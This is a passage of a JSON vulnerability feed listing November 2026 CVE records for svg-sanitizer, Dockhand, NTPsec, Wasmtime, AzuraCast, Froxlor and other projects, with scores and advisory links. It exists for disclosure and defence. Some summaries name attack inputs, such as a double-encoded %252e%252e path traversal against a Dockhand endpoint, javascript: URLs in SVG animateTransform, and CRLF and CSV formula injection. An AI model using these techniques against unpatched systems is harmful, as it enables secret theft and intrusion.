link.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-q546-85r6-f39q","https://www.vulncheck.com/advisories/svg-sanitizer-before-1.1.0-xss-via-animatetransform-on-safari"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:37","euvd":{"id":"EUVD-2026-115869","description":"svg-sanitizer before 1.1.0 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization by placing javascript: URLs in the animateTransform values attribute. Attackers can upload crafted SVG files whose animateTransform targets the href attribute, executing arbitrary JavaScript when Safari users click the link.","published_time":"2026-11-03T14:28:36","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-q546-85r6-f39q","https://www.vulncheck.com/advisories/svg-sanitizer-before-1.1.0-xss-via-animatetransform-on-safari"],"products":["svg-sanitizer"],"vendors":["darylldoyle"]},"ghsa":null},{"cve_id":"CVE-2026-121448","summary":"Dockhand before 1.0.54 contains a path traversal vulnerability that allows authenticated users to read, overwrite, and delete .env files outside the stacks root by double-encoding the stack name. Attackers can send %252e%252e sequences to /api/stacks/[name]/env/raw to disclose cross-environment secrets, write into protected directories, or poison deployment variables.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Finsys/dockhand/security/advisories/GHSA-q2vc-4qcx-2vm6","https://www.vulncheck.com/advisories/dockhand-before-1.0.54-path-traversal-via-stack-environment-routes"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:37","euvd":{"id":"EUVD-2026-115870","description":"Dockhand before 1.0.54 contains a path traversal vulnerability that allows authenticated users to read, overwrite, and delete .env files outside the stacks root by double-encoding the stack name. Attackers can send %252e%252e sequences to /api/stacks/[name]/env/raw to disclose cross-environment secrets, write into protected directories, or poison deployment variables.","published_time":"2026-11-03T14:28:36","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/Finsys/dockhand/security/advisories/GHSA-q2vc-4qcx-2vm6","https://www.vulncheck.com/advisories/dockhand-before-1.0.54-path-traversal-via-stack-environment-routes"],"products":["dockhand"],"vendors":["Finsys"]},"ghsa":null},{"cve_id":"CVE-2026-121449","summary":"Dockhand from 1.0.47 before 1.0.54 exposes plaintext stack secrets because deployStack() attaches resolved secret values to its result as resolvedSecrets, which Git-stack routes return unfiltered. Holders of a stack's webhook secret or users with stacks:start permission can trigger the Git stack webhook, manual deploy, or create-and-deploy endpoints to receive stored and external-provider secrets such as 1Password or Vault values.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Finsys/dockhand/commit/a08843a8d5ab1d91fa2c6c392919f9117d582471","https://github.com/Finsys/dockhand/security/advisories/GHSA-w9qx-qg64-f8pf","https://www.vulncheck.com/advisories/dockhand-1.0.47-before-1.0.54-secret-disclosure-via-git-stack-webhook","https://github.com/Finsys/dockhand/security/advisories/GHSA-w9qx-qg64-f8pf"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:37","euvd":{"id":"EUVD-2026-115871","description":"Dockhand from 1.0.47 before 1.0.54 exposes plaintext stack secrets because deployStack() attaches resolved secret values to its result as resolvedSecrets, which Git-stack routes return unfiltered. Holders of a stack's webhook secret or users with stacks:start permission can trigger the Git stack webhook, manual deploy, or create-and-deploy endpoints to receive stored and external-provider secrets such as 1Password or Vault values.","published_time":"2026-11-03T14:28:37","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/Finsys/dockhand/security/advisories/GHSA-w9qx-qg64-f8pf","https://github.com/Finsys/dockhand/commit/a08843a8d5ab1d91fa2c6c392919f9117d582471","https://www.vulncheck.com/advisories/dockhand-1.0.47-before-1.0.54-secret-disclosure-via-git-stack-webhook"],"products":["dockhand"],"vendors":["Finsys"]},"ghsa":null},{"cve_id":"CVE-2026-121505","summary":"An out-of-bounds read in the NTS-KE client response parser (nts_client_process_response_core) in NTPsec before 1.2.4 allows a malicious NTS-KE server to read the client's stack memory, including pointers that defeat ASLR, which the client then sends in cleartext as NTS cookies, via an NTS-KE record whose declared length exceeds the data received.","cvss":3.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/NTPsec/ntpsec/-/commit/caf0eb5df3c6ddbfc2941389bff0f9146835c021","https://gitlab.com/NTPsec/ntpsec/-/work_items/836","https://gitlab.com/NTPsec/ntpsec/-/work_items/902"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:37","euvd":{"id":"EUVD-2026-115826","description":"An out-of-bounds read in the NTS-KE client response parser (nts_client_process_response_core) in NTPsec before 1.2.4 allows a malicious NTS-KE server to read the client's stack memory, including pointers that defeat ASLR, which the client then sends in cleartext as NTS cookies, via an NTS-KE record whose declared length exceeds the data received.","published_time":"2026-11-03T14:17:09","cvss":3.7,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/NTPsec/ntpsec/-/commit/caf0eb5df3c6ddbfc2941389bff0f9146835c021","https://gitlab.com/NTPsec/ntpsec/-/work_items/836","https://gitlab.com/NTPsec/ntpsec/-/work_items/902"],"products":["NTPSec"],"vendors":["NTPsec"]},"ghsa":null},{"cve_id":"CVE-2026-121506","summary":"An out-of-bounds read and write in NTS client extension field parsing (extens_client_recv) in NTPsec before 1.2.5 allows a remote attacker who can send NTP server-mode replies to an NTS client to corrupt heap memory and crash ntpd, and, combined with the NTS-KE client out-of-bounds read fixed in 1.2.4, to bypass NTS authentication and set the client's time, via an NTS Authenticator and Encrypted Extension Fields field whose nonce length exceeds the field.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/NTPsec/ntpsec/-/commit/0a36941e499d533dfbc3fb6b1fcd8c367679d719","https://gitlab.com/NTPsec/ntpsec/-/work_items/902"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:37","euvd":{"id":"EUVD-2026-115827","description":"An out-of-bounds read and write in NTS client extension field parsing (extens_client_recv) in NTPsec before 1.2.5 allows a remote attacker who can send NTP server-mode replies to an NTS client to corrupt heap memory and crash ntpd, and, combined with the NTS-KE client out-of-bounds read fixed in 1.2.4, to bypass NTS authentication and set the client's time, via an NTS Authenticator and Encrypted Extension Fields field whose nonce length exceeds the field.","published_time":"2026-11-03T14:17:24","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/NTPsec/ntpsec/-/commit/0a36941e499d533dfbc3fb6b1fcd8c367679d719","https://gitlab.com/NTPsec/ntpsec/-/work_items/902"],"products":["NTPSec"],"vendors":["NTPsec"]},"ghsa":null},{"cve_id":"CVE-2026-121507","summary":"Double Free in µD3TN BPv6 Fragmenter Block Duplication allows Unauthenticated Remote Attacker to Cause DoS on Allocation Failure","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/d3tn/ud3tn/-/work_items/293"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:37","euvd":{"id":"EUVD-2026-115828","description":"Double Free in µD3TN BPv6 Fragmenter Block Duplication allows Unauthenticated Remote Attacker to Cause DoS on Allocation Failure","published_time":"2026-11-03T14:17:54","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/d3tn/ud3tn/-/work_items/293"],"products":["µD3TN"],"vendors":["D3TN GmbH"]},"ghsa":null},{"cve_id":"CVE-2026-121442","summary":"Frappe HRMS before 15.61.0 contains a permission bypass vulnerability that allows authenticated employees to view other employees' expense advance details due to improper authorization checks. Attackers can query the Expense Claim Advances API to retrieve expense advance records belonging to other employees, exposing sensitive financial information.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/frappe/hrms/security/advisories/GHSA-9f7p-ppw4-57p6","https://www.vulncheck.com/advisories/frappe-hrms-before-15.61.0-permission-bypass-via-expense-claim-advances-api"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:36","euvd":{"id":"EUVD-2026-115864","description":"Frappe HRMS before 15.61.0 contains a permission bypass vulnerability that allows authenticated employees to view other employees' expense advance details due to improper authorization checks. Attackers can query the Expense Claim Advances API to retrieve expense advance records belonging to other employees, exposing sensitive financial information.","published_time":"2026-11-03T14:28:32","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/frappe/hrms/security/advisories/GHSA-9f7p-ppw4-57p6","https://www.vulncheck.com/advisories/frappe-hrms-before-15.61.0-permission-bypass-via-expense-claim-advances-api"],"products":["hrms"],"vendors":["frappe"]},"ghsa":null},{"cve_id":"CVE-2026-121443","summary":"svg-sanitizer from 1.1.0 before 1.1.1 contains a denial of service vulnerability that allows remote attackers to crash requests by submitting SVG input ending inside an unclosed tag. Attackers can upload truncated input like a single '<' to trigger an uncaught ValueError from strpos() in hasElementWithTooManyAttributes() or hasInternalDtdSubset() on PHP 8, failing the request.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-f7cw-vfxq-7ph2","https://www.vulncheck.com/advisories/svg-sanitizer-from-1.1.0-before-1.1.1-denial-of-service-via-unclosed-tag"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:36","euvd":{"id":"EUVD-2026-115865","description":"svg-sanitizer from 1.1.0 before 1.1.1 contains a denial of service vulnerability that allows remote attackers to crash requests by submitting SVG input ending inside an unclosed tag. Attackers can upload truncated input like a single '<' to trigger an uncaught ValueError from strpos() in hasElementWithTooManyAttributes() or hasInternalDtdSubset() on PHP 8, failing the request.","published_time":"2026-11-03T14:28:33","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-f7cw-vfxq-7ph2","https://www.vulncheck.com/advisories/svg-sanitizer-from-1.1.0-before-1.1.1-denial-of-service-via-unclosed-tag"],"products":["svg-sanitizer"],"vendors":["darylldoyle"]},"ghsa":null},{"cve_id":"CVE-2026-121444","summary":"svg-sanitizer from 0.11.0 before 1.1.0 contains an algorithmic complexity denial of service vulnerability in hasInfiniteLoop() and countUse() of the use reference-graph analysis. Attackers can upload a small layered SVG with 15 levels of fanned-out use elements, forcing exponential path enumeration that pins PHP workers for hours.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-hrwm-vcc9-hcm4","https://www.vulncheck.com/advisories/svg-sanitizer-0.11.0-before-1.1.0-algorithmic-complexity-dos-via-use-reference-graph"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:36","euvd":{"id":"EUVD-2026-115866","description":"svg-sanitizer from 0.11.0 before 1.1.0 contains an algorithmic complexity denial of service vulnerability in hasInfiniteLoop() and countUse() of the use reference-graph analysis. Attackers can upload a small layered SVG with 15 levels of fanned-out use elements, forcing exponential path enumeration that pins PHP workers for hours.","published_time":"2026-11-03T14:28:33","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-hrwm-vcc9-hcm4","https://www.vulncheck.com/advisories/svg-sanitizer-0.11.0-before-1.1.0-algorithmic-complexity-dos-via-use-reference-graph"],"products":["svg-sanitizer"],"vendors":["darylldoyle"]},"ghsa":null},{"cve_id":"CVE-2026-121445","summary":"darylldoyle svg-sanitizer from 1.0.0 before 1.1.0 contains a regular expression denial of service vulnerability in the image-set pattern of stripRemoteCssTokens() when removeRemoteReferences is enabled. Attackers can submit SVGs with many unclosed image-set tokens to exhaust CPU, or trigger PCRE limits causing sanitize() to throw a TypeError and leave unsanitized content.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-94x8-pw3c-6qcq","https://www.vulncheck.com/advisories/svg-sanitizer-1.0.0-before-1.1.0-redos-and-fail-open-via-image-set-css-stripping","https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-94x8-pw3c-6qcq"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:36","euvd":{"id":"EUVD-2026-115867","description":"darylldoyle svg-sanitizer from 1.0.0 before 1.1.0 contains a regular expression denial of service vulnerability in the image-set pattern of stripRemoteCssTokens() when removeRemoteReferences is enabled. Attackers can submit SVGs with many unclosed image-set tokens to exhaust CPU, or trigger PCRE limits causing sanitize() to throw a TypeError and leave unsanitized content.","published_time":"2026-11-03T14:28:34","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-94x8-pw3c-6qcq","https://www.vulncheck.com/advisories/svg-sanitizer-1.0.0-before-1.1.0-redos-and-fail-open-via-image-set-css-stripping"],"products":["svg-sanitizer"],"vendors":["darylldoyle"]},"ghsa":null},{"cve_id":"CVE-2026-121446","summary":"svg-sanitizer from 0.5.0 before 1.1.0 contains an incomplete filtering vulnerability that allows attackers to bypass remote URL removal by using CSS escape sequences inside url() in SVG presentation attributes. Attackers can supply SVG files with attributes like fill containing escaped slashes that browsers resolve to remote URLs, triggering external requests and enabling data exfiltration.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-3vh3-jf65-656w","https://www.vulncheck.com/advisories/svg-sanitizer-0.5.0-before-1.1.0-incomplete-url-filtering-in-svg-attributes"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:36","euvd":{"id":"EUVD-2026-115868","description":"svg-sanitizer from 0.5.0 before 1.1.0 contains an incomplete filtering vulnerability that allows attackers to bypass remote URL removal by using CSS escape sequences inside url() in SVG presentation attributes. Attackers can supply SVG files with attributes like fill containing escaped slashes that browsers resolve to remote URLs, triggering external requests and enabling data exfiltration.","published_time":"2026-11-03T14:28:35","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-3vh3-jf65-656w","https://www.vulncheck.com/advisories/svg-sanitizer-0.5.0-before-1.1.0-incomplete-url-filtering-in-svg-attributes"],"products":["svg-sanitizer"],"vendors":["darylldoyle"]},"ghsa":null},{"cve_id":"CVE-2026-121437","summary":"Mistune from 3.3.0 before 3.3.4 contains a denial of service vulnerability that allows remote attackers to exhaust CPU through quadratic-time emphasis delimiter processing. Attackers can submit small markdown documents with repeated patterns like \"*a_b\" to trigger an O(n²) index-fixup loop, stalling workers for seconds.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/lepture/mistune/commit/b4dd3284e52ec741ed9a227db29ade9017828e90","https://github.com/lepture/mistune/security/advisories/GHSA-qp42-r9j6-83g9","https://www.vulncheck.com/advisories/mistune-3.3.0-before-3.3.4-quadratic-time-dos-via-process-emphasis-delimiters","https://github.com/lepture/mistune/security/advisories/GHSA-qp42-r9j6-83g9"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:35","euvd":{"id":"EUVD-2026-115859","description":"Mistune from 3.3.0 before 3.3.4 contains a denial of service vulnerability that allows remote attackers to exhaust CPU through quadratic-time emphasis delimiter processing. Attackers can submit small markdown documents with repeated patterns like \"*a_b\" to trigger an O(n²) index-fixup loop, stalling workers for seconds.","published_time":"2026-11-03T14:28:29","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/lepture/mistune/security/advisories/GHSA-qp42-r9j6-83g9","https://github.com/lepture/mistune/commit/b4dd3284e52ec741ed9a227db29ade9017828e90","https://www.vulncheck.com/advisories/mistune-3.3.0-before-3.3.4-quadratic-time-dos-via-process-emphasis-delimiters"],"products":["mistune"],"vendors":["lepture"]},"ghsa":null},{"cve_id":"CVE-2026-121438","summary":"Mistune before 3.3.3 contains a denial of service vulnerability in InlineParser.parse_link that allows attackers to cause quadratic CPU growth by supplying balanced nested brackets. Attackers can submit crafted Markdown with thousands of nested bracket pairs not forming a valid link, triggering repeated _contains_nested_link scans that exhaust CPU in parsing applications.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/lepture/mistune/commit/fe02f40faf091f86da9ed62c865f31e11da111d7","https://github.com/lepture/mistune/security/advisories/GHSA-47p6-w2rc-5qf7","https://www.vulncheck.com/advisories/mistune-before-3.3.3-denial-of-service-via-balanced-bracket-link-parsing"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:35","euvd":{"id":"EUVD-2026-115860","description":"Mistune before 3.3.3 contains a denial of service vulnerability in InlineParser.parse_link that allows attackers to cause quadratic CPU growth by supplying balanced nested brackets. Attackers can submit crafted Markdown with thousands of nested bracket pairs not forming a valid link, triggering repeated _contains_nested_link scans that exhaust CPU in parsing applications.","published_time":"2026-11-03T14:28:29","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/lepture/mistune/security/advisories/GHSA-47p6-w2rc-5qf7","https://github.com/lepture/mistune/commit/fe02f40faf091f86da9ed62c865f31e11da111d7","https://www.vulncheck.com/advisories/mistune-before-3.3.3-denial-of-service-via-balanced-bracket-link-parsing"],"products":["mistune"],"vendors":["lepture"]},"ghsa":null},{"cve_id":"CVE-2026-121439","summary":"Wasmtime 46.0.0 before 48.0.7 and 49.0.0 before 49.0.4 contains a response splitting vulnerability in wasi-http p3 that allows guests to set unvalidated content-length headers. Malicious wasip3 guests can splice an existing body into a new response with an incorrect content-length to perform response splitting or injection attacks.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-9prg-84vf-g5fc","https://www.vulncheck.com/advisories/wasmtime-46.0.0-before-48.0.7-and-49.0.0-before-49.0.4-http-response-splitting-via-wasi-http"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:35","euvd":{"id":"EUVD-2026-115861","description":"Wasmtime 46.0.0 before 48.0.7 and 49.0.0 before 49.0.4 contains a response splitting vulnerability in wasi-http p3 that allows guests to set unvalidated content-length headers. Malicious wasip3 guests can splice an existing body into a new response with an incorrect content-length to perform response splitting or injection attacks.","published_time":"2026-11-03T14:28:30","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-9prg-84vf-g5fc","https://www.vulncheck.com/advisories/wasmtime-46.0.0-before-48.0.7-and-49.0.0-before-49.0.4-http-response-splitting-via-wasi-http"],"products":["wasmtime","wasmtime"],"vendors":["bytecodealliance"]},"ghsa":null},{"cve_id":"CVE-2026-121440","summary":"Wasmtime 46.0.0 before 48.0.7 and 49.0.0 before 49.0.4 fails to check forwarded trailers against the WasiHttpHooks::is_forbidden_header hook in wasi-http p3. WASIp3 guests can forward a request or response body so its trailers skip embedder-customized forbidden header filtering, undermining header restrictions the embedder intended.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-jxcf-8qw5-5c33","https://www.vulncheck.com/advisories/wasmtime-46.0.0-before-48.0.7-and-49.0.0-before-49.0.4-forwarded-trailers-header-filter-bypass"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:35","euvd":{"id":"EUVD-2026-115862","description":"Wasmtime 46.0.0 before 48.0.7 and 49.0.0 before 49.0.4 fails to check forwarded trailers against the WasiHttpHooks::is_forbidden_header hook in wasi-http p3. WASIp3 guests can forward a request or response body so its trailers skip embedder-customized forbidden header filtering, undermining header restrictions the embedder intended.","published_time":"2026-11-03T14:28:31","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-jxcf-8qw5-5c33","https://www.vulncheck.com/advisories/wasmtime-46.0.0-before-48.0.7-and-49.0.0-before-49.0.4-forwarded-trailers-header-filter-bypass"],"products":["wasmtime","wasmtime"],"vendors":["bytecodealliance"]},"ghsa":null},{"cve_id":"CVE-2026-121441","summary":"Wasmtime before 36.0.19, 37.0.0 before 48.0.7, and 49.0.0 before 49.0.4 contains a request smuggling vulnerability in wasi-http that allows guests to set multiple conflicting content-length headers. Malicious guests can make the host send HTTP requests with conflicting content-length values to smuggle requests through servers or intermediaries that do not reject them.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-r8xh-cgf7-392j","https://www.vulncheck.com/advisories/wasmtime-before-36.0.19-37.0.0-before-48.0.7-and-49.0.0-before-49.0.4-wasi-http-request-smuggling"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:35","euvd":{"id":"EUVD-2026-115863","description":"Wasmtime before 36.0.19, 37.0.0 before 48.0.7, and 49.0.0 before 49.0.4 contains a request smuggling vulnerability in wasi-http that allows guests to set multiple conflicting content-length headers. Malicious guests can make the host send HTTP requests with conflicting content-length values to smuggle requests through servers or intermediaries that do not reject them.","published_time":"2026-11-03T14:28:31","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-r8xh-cgf7-392j","https://www.vulncheck.com/advisories/wasmtime-before-36.0.19-37.0.0-before-48.0.7-and-49.0.0-before-49.0.4-wasi-http-request-smuggling"],"products":["wasmtime","wasmtime","wasmtime"],"vendors":["bytecodealliance"]},"ghsa":null},{"cve_id":"CVE-2026-121431","summary":"AzuraCast before 0.24.0 contains a server-side request forgery vulnerability that allows station users with WebHooks permission to bypass the UserUrlFilter guard via the Mastodon, Telegram, GroupMe, and RadioReg connectors. Attackers can set instance_url, api, or webhookurl to internal addresses and trigger the webhook test endpoint to reach loopback, private-network, or cloud-metadata services.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-qh22-76gf-qwc4","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-ssrf-filter-bypass-via-webhook-connectors"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:34","euvd":{"id":"EUVD-2026-115853","description":"AzuraCast before 0.24.0 contains a server-side request forgery vulnerability that allows station users with WebHooks permission to bypass the UserUrlFilter guard via the Mastodon, Telegram, GroupMe, and RadioReg connectors. Attackers can set instance_url, api, or webhookurl to internal addresses and trigger the webhook test endpoint to reach loopback, private-network, or cloud-metadata services.","published_time":"2026-11-03T14:28:25","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-qh22-76gf-qwc4","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-ssrf-filter-bypass-via-webhook-connectors"],"products":["AzuraCast"],"vendors":["azuracast"]},"ghsa":null},{"cve_id":"CVE-2026-121432","summary":"AzuraCast before 0.24.0 contains a CRLF injection vulnerability that allows low-privilege station users to inject playlist entries by embedding CR/LF sequences in mount or remote relay display_name values. Attackers with Station:MountPoints or Station:RemoteRelays permission can inject FileN= and TitleN= lines into the public playlist.pls to redirect guest listeners to attacker-controlled streams under the victim station's name.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.5,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-cqgx-rqjr-5gf4","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-crlf-injection-via-mount-display-name-in-pls-playlist"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:34","euvd":{"id":"EUVD-2026-115854","description":"AzuraCast before 0.24.0 contains a CRLF injection vulnerability that allows low-privilege station users to inject playlist entries by embedding CR/LF sequences in mount or remote relay display_name values. Attackers with Station:MountPoints or Station:RemoteRelays permission can inject FileN= and TitleN= lines into the public playlist.pls to redirect guest listeners to attacker-controlled streams under the victim station's name.","published_time":"2026-11-03T14:28:25","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-cqgx-rqjr-5gf4","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-crlf-injection-via-mount-display-name-in-pls-playlist"],"products":["AzuraCast"],"vendors":["azuracast"]},"ghsa":null},{"cve_id":"CVE-2026-121433","summary":"AzuraCast before 0.24.0 contains a stored CSV formula injection vulnerability that allows station users with Media permission to persist formula-prefixed metadata via bulk media import. Attackers can import crafted titles, artists, or custom fields through /api/station/{station_id}/files/bulk so formulas evaluate when other users open exported CSVs in spreadsheets.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-5x35-83gj-w8gw","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-stored-csv-formula-injection-via-bulk-media-export","https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-5x35-83gj-w8gw"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:34","euvd":{"id":"EUVD-2026-115855","description":"AzuraCast before 0.24.0 contains a stored CSV formula injection vulnerability that allows station users with Media permission to persist formula-prefixed metadata via bulk media import. Attackers can import crafted titles, artists, or custom fields through /api/station/{station_id}/files/bulk so formulas evaluate when other users open exported CSVs in spreadsheets.","published_time":"2026-11-03T14:28:26","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-5x35-83gj-w8gw","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-stored-csv-formula-injection-via-bulk-media-export"],"products":["AzuraCast"],"vendors":["azuracast"]},"ghsa":null},{"cve_id":"CVE-2026-121434","summary":"Froxlor 2.3.0 before 2.3.15 contains a missing authorization check in the Certificates.add and Certificates.update API commands, which do not verify whether a domain's certificate is Let's Encrypt-managed. Customers with API access can overwrite the managed certificate and private key with an attacker-chosen pair, which a REBUILD_VHOST task deploys to the webserver, breaking HTTPS and desynchronizing ACME automation.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/froxlor/froxlor/security/advisories/GHSA-ch7m-649m-x7xg","https://www.vulncheck.com/advisories/froxlor-2.3.0-before-2.3.15-authorization-bypass-via-certificates-update-api"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:34","euvd":{"id":"EUVD-2026-115856","description":"Froxlor 2.3.0 before 2.3.15 contains a missing authorization check in the Certificates.add and Certificates.update API commands, which do not verify whether a domain's certificate is Let's Encrypt-managed. Customers with API access can overwrite the managed certificate and private key with an attacker-chosen pair, which a REBUILD_VHOST task deploys to the webserver, breaking HTTPS and desynchronizing ACME 